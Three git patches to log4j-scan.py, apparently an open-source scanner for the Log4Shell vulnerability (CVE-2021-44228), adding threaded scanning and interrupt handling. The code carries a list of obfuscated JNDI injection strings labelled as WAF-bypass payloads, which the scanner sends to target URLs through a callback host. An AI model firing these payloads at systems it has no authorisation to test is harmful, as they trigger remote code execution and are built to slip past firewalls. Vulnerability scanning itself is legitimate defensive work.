From bb59b2dd4d47a955f84e40b6b5fd4ba3a3668304 Mon Sep 17 00:00:00 2001 From: Alfredo Casanova Date: Mon, 13 Dec 2021 20:37:08 -0300 Subject: [PATCH 1/3] adds -t for threads and fixes broken template. --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index fe80e10..999c769 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -53,7 +53,7 @@ "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", "${jndi:rmi://{{callback_host}}}", "${${lower:jndi}:${lower:rmi}://{{callback_Host}}/{{random}}}", - "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host/{{random}}}", + "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", "${jndi:dns://{{callback_host}}}"] From c852ed79de72f99591e572470285d3c19f86b7d5 Mon Sep 17 00:00:00 2001 From: Alfredo Casanova Date: Mon, 13 Dec 2021 20:40:36 -0300 Subject: [PATCH 2/3] adds -t for threads and fixes broken templates --- log4j-scan.py | 112 ++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 100 insertions(+), 12 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 999c769..323051e 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -17,6 +17,10 @@ import base64 import json import random +import signal +import requests +import queue +import threading from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -32,7 +36,6 @@ except Exception: pass - cprint('[•] CVE-2021-44228 - Apache Log4j RCE Scanner', "green") cprint('[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.', "yellow") cprint('[•] Secure your External Attack Surface with FullHunt.io.', "yellow") @@ -41,7 +44,9 @@ print('\n%s -h for help.' % (sys.argv[0])) exit(0) - +exitFlag = 0 +queueLock = threading.Lock() +workQueue = queue.Queue() default_headers = { 'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', @@ -49,14 +54,14 @@ } post_data_parameters = ["username", "user", "email", "email_address", "password"] timeout = 4 -waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", - "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", - "${jndi:rmi://{{callback_host}}}", - "${${lower:jndi}:${lower:rmi}://{{callback_Host}}/{{random}}}", - "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", - "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", - "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}"] +waf_bypass_payloads = ['${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}', + '${${::-j}ndi:rmi://{{callback_host}}/{{random}}}', + '${jndi:rmi://{{callback_host}}}', + '${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}', + '${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}', + '${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}', + '${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}', + '${jndi:dns://{{callback_host}}}'] parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -104,9 +109,64 @@ dest="custom_dns_callback_host", help="Custom DNS Callback Host.", action='store') +parser.add_argument("-t", "--threads", + dest="threads", + help="Threads number - [Default: 5].", + default=5, + type=int, + action='store') + args = parser.parse_args() +############################################ +############### Ctrl + C ################### +############################################ + +def keyboardInterruptHandler(signal, frame): + global exitFlag + exitFlag = 1 + cprint('[•] Operation was canceled by user!!!', "red") + +signal.signal(signal.SIGINT, keyboardInterruptHandler) + +############################################ +################ Threads ################### +############################################ + +class thread_request (threading.Thread): + + def __init__(self, threadID, q, dns_callback_host): + + threading.Thread.__init__(self) + self.threadID = threadID + self.q = q + self.dns_callback_host = dns_callback_host + + def run(self): + + cprint (" [-] Starting thread %s ... " % (self.threadID)) + process_request(self.threadID, self.q, self.dns_callback_host) + cprint (" [-] Exiting thread %s." % (self.threadID)) + +def process_request(threadID, q, dns_callback_host): + global exitFlag + global queueLock + while not exitFlag: + queueLock.acquire() + if not workQueue.empty(): + url = q.get() + queueLock.release() + + #print ("%s processing %s" % (threadID, url)) + scan_url(url, dns_callback_host) + + else: + queueLock.release() + +############################################ +################ Exploit ################### +############################################ def get_fuzzing_headers(payload): fuzzing_headers = {} @@ -286,6 +346,9 @@ def scan_url(url, callback_host): def main(): + global exitFlag + global workQueue + urls = [] if args.url: urls.append(args.url) @@ -312,9 +375,34 @@ def main(): dns_callback_host = dns_callback.domain cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta") + + workQueue = queue.Queue(len(urls)) + threads = [] + + # Fill the queue + queueLock.acquire() for url in urls: - cprint(f"[•] URL: {url}", "magenta") - scan_url(url, dns_callback_host) + workQueue.put(url) + #cprint(f"[•] URL: {url}", "magenta") + queueLock.release() + + # Create new threads + for t in range(1,args.threads+1): + thread = thread_request(t, workQueue, dns_callback_host) + thread.start() + threads.append(thread) + + # Wait for queue to empty + while not workQueue.empty() and exitFlag == 0: + time.sleep(1) + pass + + # Notify threads it's time to exit + exitFlag = 1 + + # Wait for all threads to complete + for t in threads: + t.join() if args.custom_dns_callback_host: cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan") From 5fa2f0aee194999e4fca3d87ca4f3cca39b41f69 Mon Sep 17 00:00:00 2001 From: Alfredo Casanova Date: Tue, 14 Dec 2021 09:42:23 -0300 Subject: [PATCH 3/3] adds option to wait for threads to finish when ctrl+c is hit we ask if the user wants the active threads to finish or just quit . --- log4j-scan.py | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 323051e..45fefe0 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -47,6 +47,7 @@ exitFlag = 0 queueLock = threading.Lock() workQueue = queue.Queue() +threads = [] default_headers = { 'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', @@ -111,8 +112,8 @@ action='store') parser.add_argument("-t", "--threads", dest="threads", - help="Threads number - [Default: 5].", - default=5, + help="Threads number - [Default: 1].", + default=1, type=int, action='store') @@ -125,8 +126,17 @@ def keyboardInterruptHandler(signal, frame): global exitFlag - exitFlag = 1 - cprint('[•] Operation was canceled by user!!!', "red") + global timeout + cprint('[•] Operation was canceled by user !!!', "red") + while True: + resp = input("[•] Do you want to wait active threads to bring their results? [y/N]").lower() + if resp == 'n' or resp == '': + exit() + elif resp == 'y': + timeout = 0.1 + exitFlag = 1 + cprint('[•] Waiting for active threads to finish...', "red") + break signal.signal(signal.SIGINT, keyboardInterruptHandler) @@ -136,8 +146,7 @@ def keyboardInterruptHandler(signal, frame): class thread_request (threading.Thread): - def __init__(self, threadID, q, dns_callback_host): - + def __init__(self, threadID, q, dns_callback_host, *args, **kwargs): threading.Thread.__init__(self) self.threadID = threadID self.q = q @@ -145,9 +154,9 @@ def __init__(self, threadID, q, dns_callback_host): def run(self): - cprint (" [-] Starting thread %s ... " % (self.threadID)) + cprint ("[•] Starting thread %s ... " % (self.threadID)) process_request(self.threadID, self.q, self.dns_callback_host) - cprint (" [-] Exiting thread %s." % (self.threadID)) + cprint ("[•] Exiting thread %s." % (self.threadID)) def process_request(threadID, q, dns_callback_host): global exitFlag @@ -157,8 +166,6 @@ def process_request(threadID, q, dns_callback_host): if not workQueue.empty(): url = q.get() queueLock.release() - - #print ("%s processing %s" % (threadID, url)) scan_url(url, dns_callback_host) else: @@ -377,7 +384,6 @@ def main(): cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta") workQueue = queue.Queue(len(urls)) - threads = [] # Fill the queue queueLock.acquire() @@ -389,6 +395,7 @@ def main(): # Create new threads for t in range(1,args.threads+1): thread = thread_request(t, workQueue, dns_callback_host) + thread.daemon = True thread.start() threads.append(thread) @@ -421,9 +428,4 @@ def main(): if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\nKeyboardInterrupt Detected.") - print("Exiting...") - exit(0) + main()